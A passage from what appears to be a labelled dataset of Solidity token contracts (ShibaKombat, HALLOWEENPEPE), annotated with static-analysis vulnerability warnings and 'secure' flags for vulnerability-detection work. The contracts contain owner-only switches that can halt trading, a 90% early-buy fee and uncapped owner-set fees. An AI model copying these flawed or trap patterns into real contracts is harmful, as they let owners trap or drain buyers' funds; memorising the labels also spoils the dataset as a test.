'constant' attribute to state variables that never change.\n IUniswapV2Router01 private uniswapRouter01 =\n IUniswapV2Router01(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n uint256 private constant MAX = ~uint256(0);\n uint256 private constant _tTotal = 1000 * 10 ** 9 * 10 ** 18;\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n uint256 private _tFeeTotal;\n bool enableTrading = true;\n\n\t// WARNING Optimization Issue (constable-states | ID: 55e7331): ShibaKombat._name should be constant \n\t// Recommendation for 55e7331: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Shiba Kombat \";\n\t// WARNING Optimization Issue (constable-states | ID: 4d21a35): ShibaKombat._symbol should be constant \n\t// Recommendation for 4d21a35: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"SK \";\n\t// WARNING Optimization Issue (constable-states | ID: 12e4252): ShibaKombat._decimals should be constant \n\t// Recommendation for 12e4252: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 18;\n\n constructor() public {\n _rOwned[_msgSender()] = _rTotal;\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n if (_isExcluded[account]) return _tOwned[account];\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6e691d3): ShibaKombat.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6e691d3: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"ERC20: decreased allowance below zero\"\n )\n );\n return true;\n }\n\n function isExcluded(address account) public view returns (bool) {\n return _isExcluded[account];\n }\n\n function totalFees() public view returns (uint256) {\n return _tFeeTotal;\n }\n\n function reflect(uint256 tAmount) public {\n address sender = _msgSender();\n require(\n !_isExcluded[sender],\n \"Excluded addresses cannot call this function\"\n );\n (uint256 rAmount, , , , ) = _getValues(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _rTotal = _rTotal.sub(rAmount);\n _tFeeTotal = _tFeeTotal.add(tAmount);\n }\n\n function reflectionFromToken(\n uint256 tAmount,\n bool deductTransferFee\n ) public view returns (uint256) {\n require(tAmount <= _tTotal, \"Amount must be less than supply\");\n if (!deductTransferFee) {\n (uint256 rAmount, , , , ) = _getValues(tAmount);\n return rAmount;\n } else {\n (, uint256 rTransferAmount, , , ) = _getValues(tAmount);\n return rTransferAmount;\n }\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) public view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n function useCoolDown(bool enable) public onlyOwner {\n enableTrading = enable;\n }\n\n function updateUniPair() public onlyOwner {\n address getPairAddress = IUniswapV2Factory(uniswapRouter01.factory())\n .getPair(address(this), uniswapRouter01.WETH());\n require(getPairAddress != address(0));\n uniswapV2Pair = getPairAddress;\n }\n\n function excludeAccount(address account) external onlyOwner {\n require(!_isExcluded[account], \"Account is already excluded\");\n if (_rOwned[account] > 0) {\n _tOwned[account] = tokenFromReflection(_rOwned[account]);\n }\n _isExcluded[account] = true;\n _excluded.push(account);\n }\n\n function includeAccount(address account) external onlyOwner {\n require(_isExcluded[account], \"Account is already excluded\");\n for (uint256 i = 0; i < _excluded.length; i++) {\n if (_excluded[i] == account) {\n _excluded[i] = _excluded[_excluded.length - 1];\n _tOwned[account] = 0;\n _isExcluded[account] = false;\n _excluded.pop();\n break;\n }\n }\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9ecf467): ShibaKombat._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9ecf467: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) private {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n if (_isExcluded[sender] && !_isExcluded[recipient]) {\n _transferFromExcluded(sender, recipient, amount);\n } else if (!_isExcluded[sender] && _isExcluded[recipient]) {\n _transferToExcluded(sender, recipient, amount);\n } else if (!_isExcluded[sender] && !_isExcluded[recipient]) {\n _transferStandard(sender, recipient, amount);\n } else if (_isExcluded[sender] && _isExcluded[recipient]) {\n _transferBothExcluded(sender, recipient, amount);\n } else {\n _transferStandard(sender, recipient, amount);\n }\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: d6fa167): ShibaKombat._transferStandard(address,address,uint256) uses timestamp for comparisons Dangerous comparisons require(bool)(cooldown[recipient] < block.timestamp)\n\t// Recommendation for d6fa167: Avoid relying on 'block.timestamp'.\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n if (sender != owner() && recipient != owner()) {\n if (sender != uniswapV2Pair) {\n require(enableTrading);\n\t\t\t\t// timestamp | ID: d6fa167\n require(cooldown[recipient] < block.timestamp);\n cooldown[recipient] = block.timestamp + (35 seconds);\n }\n if (sender == uniswapV2Pair)\n cooldown[sender] = block.timestamp + (35 seconds);\n }\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee\n ) = _getValues(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _reflectFee(rFee, tFee);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _transferToExcluded(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee\n ) = _getValues(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _reflectFee(rFee, tFee);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _transferFromExcluded(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee\n ) = _getValues(tAmount);\n _tOwned[sender] = _tOwned[sender].sub(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _reflectFee(rFee, tFee);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _transferBothExcluded(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee\n ) = _getValues(tAmount);\n _tOwned[sender] = _tOwned[sender].sub(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _reflectFee(rFee, tFee);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n _rTotal = _rTotal.sub(rFee);\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n function _getValues(\n uint256 tAmount\n ) private view returns (uint256, uint256, uint256, uint256, uint256) {\n (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);\n uint256 currentRate = _getRate();\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n currentRate\n );\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 5ae23be): ShibaKombat._getTValues(uint256) performs a multiplication on the result of a division tFee = tAmount.div(100).mul(2)\n\t// Recommendation for 5ae23be: Consider ordering multiplication before division.\n function _getTValues(\n uint256 tAmount\n ) private view returns (uint256, uint256) {\n uint256 tFee;\n if (_tTotal >= 30000000 * (10 ** 6) * (10 ** 18)) {\n\t\t\t// divide-before-multiply | ID: 5ae23be\n tFee = tAmount.div(100).mul(2);\n } else {\n tFee = 0;\n }\n uint256 tTransferAmount = tAmount.sub(tFee);\n return (tTransferAmount, tFee);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee);\n return (rAmount, rTransferAmount, rFee);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 608958b): ShibaKombat._getRate().rSupply shadows ShibaKombat.rSupply (state variable)\n\t// Recommendation for 608958b: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 23e7e44): ShibaKombat._getRate().tSupply shadows ShibaKombat.tSupply (state variable)\n\t// Recommendation for 23e7e44: Rename the local variables that shadow another component.\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n return rSupply.div(tSupply);\n }\n\t// WARNING Optimization Issue (constable-states | ID: b3844a0): ShibaKombat.rSupply should be constant \n\t// Recommendation for b3844a0: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 60ea7b3): ShibaKombat._getCurrentSupply().rSupply shadows ShibaKombat.rSupply (state variable)\n\t// Recommendation for 60ea7b3: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 608958b): ShibaKombat._getRate().rSupply shadows ShibaKombat.rSupply (state variable)\n\t// Recommendation for 608958b: Rename the local variables that shadow another component.\n uint256 public rSupply;\n\t// WARNING Optimization Issue (constable-states | ID: 0661340): ShibaKombat.tSupply should be constant \n\t// Recommendation for 0661340: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3ce9796): ShibaKombat._getCurrentSupply().tSupply shadows ShibaKombat.tSupply (state variable)\n\t// Recommendation for 3ce9796: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 23e7e44): ShibaKombat._getRate().tSupply shadows ShibaKombat.tSupply (state variable)\n\t// Recommendation for 23e7e44: Rename the local variables that shadow another component.\n uint256 public tSupply;\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 60ea7b3): ShibaKombat._getCurrentSupply().rSupply shadows ShibaKombat.rSupply (state variable)\n\t// Recommendation for 60ea7b3: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3ce9796): ShibaKombat._getCurrentSupply().tSupply shadows ShibaKombat.tSupply (state variable)\n\t// Recommendation for 3ce9796: Rename the local variables that shadow another component.\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n\t\t// cache-array-length | ID: 250576a\n for (uint256 i = 0; i < _excluded.length; i++) {\n if (\n _rOwned[_excluded[i]] > rSupply ||\n _tOwned[_excluded[i]] > tSupply\n ) return (_rTotal, _tTotal);\n rSupply = rSupply.sub(_rOwned[_excluded[i]]);\n tSupply = tSupply.sub(_tOwned[_excluded[i]]);\n }\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n return (rSupply, tSupply);\n }\n}",
"file_name": "solidity_code_1850.sol",
"secure": 0,
"size_bytes": 17566
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ILpPair {\n function sync() external;\n}",
"file_name": "solidity_code_1851.sol",
"secure": 1,
"size_bytes": 115
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./IDexRouter.sol\" as IDexRouter;\nimport \"./IDexFactory.sol\" as IDexFactory;\nimport \"./ILpPair.sol\" as ILpPair;\n\ncontract HALLOWEENPEPE is ERC20, Ownable {\n uint256 public maxBuyAmount;\n uint256 public maxSellAmount;\n\n IDexRouter public immutable dexRouter;\n address public immutable lpPair;\n\n bool private swapping;\n uint256 public swapTokensAtAmount;\n\n address MarketingAddress;\n\n uint256 public tradingActiveBlock;\n uint256 public tradingActiveTs;\n uint256 public blockForPenaltyEnd;\n\n bool public limitsInEffect = true;\n bool public tradingActive = false;\n bool public swapEnabled = false;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n bool public transferDelayEnabled = true;\n\n uint256 public buyTotalFees;\n uint256 public buyMarketingFee;\n uint256 public buyLiquidityFee;\n\n uint256 public sellTotalFees;\n uint256 public sellMarketingFee;\n uint256 public sellLiquidityFee;\n\n uint256 public tokensForMarketing;\n uint256 public tokensForLiquidity;\n\n mapping(address => bool) private _isExcludedFromFees;\n mapping(address => bool) public _isExcludedMaxTransactionAmount;\n\n mapping(address => bool) public automatedMarketMakerPairs;\n\n event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\n\n event EnabledTrading();\n\n event RemovedLimits();\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n event UpdatedMaxBuyAmount(uint256 newAmount);\n\n event UpdatedMaxSellAmount(uint256 newAmount);\n\n event UpdatedMaxWalletAmount(uint256 newAmount);\n\n event UpdatedMarketingAddress(address indexed newWallet);\n\n event MaxTransactionExclusion(address _address, bool excluded);\n\n event BuyBackTriggered(uint256 amount);\n\n event OwnerForcedSwapBack(uint256 timestamp);\n\n event CaughtEarlyBuyer(address sniper);\n\n event SwapAndLiquify(\n uint256 tokensSwapped,\n uint256 ethReceived,\n uint256 tokensIntoLiquidity\n );\n\n event TransferForeignToken(address token, uint256 amount);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: c00f632): HALLOWEENPEPE.constructor().newOwner lacks a zerocheck on \t MarketingAddress = address(newOwner)\n\t// Recommendation for c00f632: Check that the address is not zero.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1ec31f0): HALLOWEENPEPE.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 1ec31f0: Rename the local variables that shadow another component.\n constructor() ERC20(\"HALLOWEEN PEPE\", \"0xDEAD\") {\n address newOwner = msg.sender;\n address _dexRouter;\n\n _dexRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n dexRouter = IDexRouter(_dexRouter);\n\n lpPair = IDexFactory(dexRouter.factory()).createPair(\n address(this),\n dexRouter.WETH()\n );\n _excludeFromMaxTransaction(address(lpPair), true);\n _setAutomatedMarketMakerPair(address(lpPair), true);\n\n uint256 totalSupply = 1 * 1e8 * 1e18;\n\n maxBuyAmount = (totalSupply * 2) / 100;\n maxSellAmount = (totalSupply * 2) / 100;\n swapTokensAtAmount = (totalSupply * 1) / 10000;\n\n buyMarketingFee = 20;\n buyLiquidityFee = 0;\n buyTotalFees = buyMarketingFee + buyLiquidityFee;\n\n sellMarketingFee = 35;\n sellLiquidityFee = 0;\n sellTotalFees = sellMarketingFee + sellLiquidityFee;\n\n _excludeFromMaxTransaction(newOwner, true);\n _excludeFromMaxTransaction(address(this), true);\n _excludeFromMaxTransaction(address(0xdead), true);\n _excludeFromMaxTransaction(address(dexRouter), true);\n\n excludeFromFees(newOwner, true);\n excludeFromFees(address(this), true);\n excludeFromFees(address(0xdead), true);\n excludeFromFees(address(dexRouter), true);\n\n\t\t// missing-zero-check | ID: c00f632\n MarketingAddress = address(newOwner);\n\n _createInitialSupply(newOwner, totalSupply);\n transferOwnership(newOwner);\n }\n\n receive() external payable {}\n\n function openTrading(uint256 deadBlocks) external onlyOwner {\n require(!tradingActive, \"Cannot reenable trading\");\n require(deadBlocks <= 10, \"Cannot set more than 5 deadblocks\");\n tradingActive = true;\n swapEnabled = true;\n tradingActiveBlock = block.number;\n tradingActiveTs = block.timestamp;\n blockForPenaltyEnd = tradingActiveBlock + deadBlocks;\n emit EnabledTrading();\n }\n\n function removeLimits() external onlyOwner {\n limitsInEffect = false;\n transferDelayEnabled = false;\n emit RemovedLimits();\n }\n\n function disableTransferDelay() external onlyOwner {\n transferDelayEnabled = false;\n }\n\n function updateMaxBuyAmount(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 2) / 1000) / 1e18,\n \"Cannot set max buy amount lower than 0.2%\"\n );\n maxBuyAmount = newNum * (10 ** 18);\n emit UpdatedMaxBuyAmount(maxBuyAmount);\n }\n\n function updateMaxSellAmount(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 2) / 1000) / 1e18,\n \"Cannot set max sell amount lower than 0.2%\"\n );\n maxSellAmount = newNum * (10 ** 18);\n emit UpdatedMaxSellAmount(maxSellAmount);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 7ae9716): HALLOWEENPEPE.updateSwapTokensAtAmount(uint256) should emit an event for swapTokensAtAmount = newAmount \n\t// Recommendation for 7ae9716: Emit an event for critical parameter changes.\n function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner {\n require(\n newAmount >= (totalSupply() * 1) / 100000,\n \"Swap amount cannot be lower than 0.001% total supply.\"\n );\n require(\n newAmount <= (totalSupply() * 1) / 1000,\n \"Swap amount cannot be higher than 0.1% total supply.\"\n );\n\t\t// events-maths | ID: 7ae9716\n swapTokensAtAmount = newAmount;\n }\n\n function _excludeFromMaxTransaction(\n address updAds,\n bool isExcluded\n ) private {\n _isExcludedMaxTransactionAmount[updAds] = isExcluded;\n emit MaxTransactionExclusion(updAds, isExcluded);\n }\n\n function excludeFromMaxTransaction(\n address updAds,\n bool isEx\n ) external onlyOwner {\n if (!isEx) {\n require(\n updAds != lpPair,\n \"Cannot remove uniswap pair from max txn\"\n );\n }\n _isExcludedMaxTransactionAmount[updAds] = isEx;\n }\n\n function setAutomatedMarketMakerPair(\n address pair,\n bool value\n ) external onlyOwner {\n require(\n pair != lpPair,\n \"The pair cannot be removed from automatedMarketMakerPairs\"\n );\n\n _setAutomatedMarketMakerPair(pair, value);\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n function _setAutomatedMarketMakerPair(address pair, bool value) private {\n automatedMarketMakerPairs[pair] = value;\n\n _excludeFromMaxTransaction(pair, value);\n\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 463f731): Missing events for critical arithmetic parameters.\n\t// Recommendation for 463f731: Emit an event for critical parameter changes.\n function updateFees(\n uint256 _buyMarketingFee,\n uint256 _buyliquidityFee,\n uint256 _sellMarketingFee,\n uint256 _sellliquidityFee\n ) external onlyOwner {\n\t\t// events-maths | ID: 463f731\n buyMarketingFee = _buyMarketingFee;\n\t\t// events-maths | ID: 463f731\n buyLiquidityFee = _buyliquidityFee;\n\t\t// events-maths | ID: 463f731\n buyTotalFees = buyMarketingFee + buyLiquidityFee;\n\t\t// events-maths | ID: 463f731\n sellMarketingFee = _sellMarketingFee;\n\t\t// events-maths | ID: 463f731\n sellLiquidityFee = _sellliquidityFee;\n\t\t// events-maths | ID: 463f731\n sellTotalFees = sellMarketingFee + sellLiquidityFee;\n }\n\n function excludeFromFees(address account, bool excluded) public onlyOwner {\n _isExcludedFromFees[account] = excluded;\n emit ExcludeFromFees(account, excluded);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 370058c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 370058c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5e4535f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5e4535f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 1c789e4): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for 1c789e4: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 502b239): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 502b239: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 60e4418): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 60e4418: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 81adf3e): HALLOWEENPEPE._transfer(address,address,uint256) performs a multiplication on the result of a division fees = (amount * 90) / 100 tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees\n\t// Recommendation for 81adf3e: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 4f8e7bb): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 4f8e7bb: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 0ec3657): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 0ec3657: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: d871c20): HALLOWEENPEPE._transfer(address,address,uint256) performs a multiplication on the result of a division fees = (amount * 90) / 100 tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees\n\t// Recommendation for d871c20: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 67835d4): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 67835d4: Consider ordering multiplication before division.\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"amount must be greater than 0\");\n\n if (!tradingActive) {\n require(\n _isExcludedFromFees[from] || _isExcludedFromFees[to],\n \"Trading is not active.\"\n );\n }\n\n if (limitsInEffect) {\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n if (transferDelayEnabled) {\n if (to != address(dexRouter) && to != address(lpPair)) {\n\t\t\t\t\t\t// tx-origin | ID: 1c789e4\n require(\n _holderLastTransferTimestamp[tx.origin] <\n block.number - 2 &&\n _holderLastTransferTimestamp[to] <\n block.number - 2,\n \"_transfer:: Transfer Delay enabled. Try again later.\"\n );\n _holderLastTransferTimestamp[tx.origin] = block.number;\n _holderLastTransferTimestamp[to] = block.number;\n }\n }\n\n if (\n automatedMarketMakerPairs[from] &&\n !_isExcludedMaxTransactionAmount[to]\n ) {\n require(\n amount <= maxBuyAmount,\n \"Buy transfer amount exceeds the max buy.\"\n );\n } else if (\n automatedMarketMakerPairs[to] &&\n !_isExcludedMaxTransactionAmount[from]\n ) {\n require(\n amount <= maxSellAmount,\n \"Sell transfer amount exceeds the max sell.\"\n );\n }\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= swapTokensAtAmount;\n\n if (\n canSwap &&\n swapEnabled &&\n !swapping &&\n !automatedMarketMakerPairs[from] &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: 370058c\n\t\t\t// reentrancy-benign | ID: 5e4535f\n\t\t\t// reentrancy-no-eth | ID: 502b239\n swapBack();\n\n\t\t\t// reentrancy-no-eth | ID: 502b239\n swapping = false;\n }\n\n bool takeFee = true;\n\n if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\n takeFee = false;\n }\n\n uint256 fees = 0;\n\n if (takeFee) {\n if (\n earlyBuyPenaltyInEffect() &&\n automatedMarketMakerPairs[from] &&\n !automatedMarketMakerPairs[to] &&\n buyTotalFees > 0\n ) {\n\t\t\t\t// divide-before-multiply | ID: 81adf3e\n\t\t\t\t// divide-before-multiply | ID: d871c20\n fees = (amount * 90) / 100;\n\t\t\t\t// reentrancy-no-eth | ID: 502b239\n\t\t\t\t// divide-before-multiply | ID: d871c20\n tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;\n\t\t\t\t// reentrancy-benign | ID: 5e4535f\n\t\t\t\t// divide-before-multiply | ID: 81adf3e\n tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;\n } else if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {\n\t\t\t\t// divide-before-multiply | ID: 0ec3657\n\t\t\t\t// divide-before-multiply | ID: 67835d4\n fees = (amount * sellTotalFees) / 100;\n\t\t\t\t// reentrancy-no-eth | ID: 502b239\n\t\t\t\t// divide-before-multiply | ID: 0ec3657\n tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;\n\t\t\t\t// reentrancy-benign | ID: 5e4535f\n\t\t\t\t// divide-before-multiply | ID: 67835d4\n tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;\n } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {\n\t\t\t\t// divide-before-multiply | ID: 60e4418\n\t\t\t\t// divide-before-multiply | ID: 4f8e7bb\n fees = (amount * buyTotalFees) / 100;\n\t\t\t\t// reentrancy-no-eth | ID: 502b239\n\t\t\t\t// divide-before-multiply | ID: 60e4418\n tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;\n\t\t\t\t// reentrancy-benign | ID: 5e4535f\n\t\t\t\t// divide-before-multiply | ID: 4f8e7bb\n tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;\n }\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: 370058c\n\t\t\t\t// reentrancy-no-eth | ID: 502b239\n super._transfer(from, address(this), fees);\n }\n\n amount -= fees;\n }\n\n\t\t// reentrancy-events | ID: 370058c\n\t\t// reentrancy-no-eth | ID: 502b239\n super._transfer(from, to, amount);\n }\n\n function earlyBuyPenaltyInEffect() public view returns (bool) {\n return block.number < blockForPenaltyEnd;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = dexRouter.WETH();\n\n _approve(address(this), address(dexRouter), tokenAmount);\n\n\t\t// reentrancy-events | ID: 370058c\n\t\t// reentrancy-events | ID: a040203\n\t\t// reentrancy-events | ID: 6a021e4\n\t\t// reentrancy-benign | ID: c654a76\n\t\t// reentrancy-benign | ID: 41536bf\n\t\t// reentrancy-benign | ID: 5e4535f\n\t\t// reentrancy-no-eth | ID: 502b239\n dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(MarketingAddress),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 57d4a3d): HALLOWEENPEPE.addLiquidity(uint256,uint256) ignores return value by dexRouter.addLiquidityETH{value ethAmount}(address(this),tokenAmount,0,0,address(0xdead),block.timestamp)\n\t// Recommendation for 57d4a3d: Ensure that all the return values of the function calls are used.\n function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {\n _approve(address(this), address(dexRouter), tokenAmount);\n\n\t\t// unused-return | ID: 57d4a3d\n dexRouter.addLiquidityETH{value: ethAmount}(\n address(this),\n tokenAmount,\n 0,\n 0,\n address(0xdead),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a040203): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a040203: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING 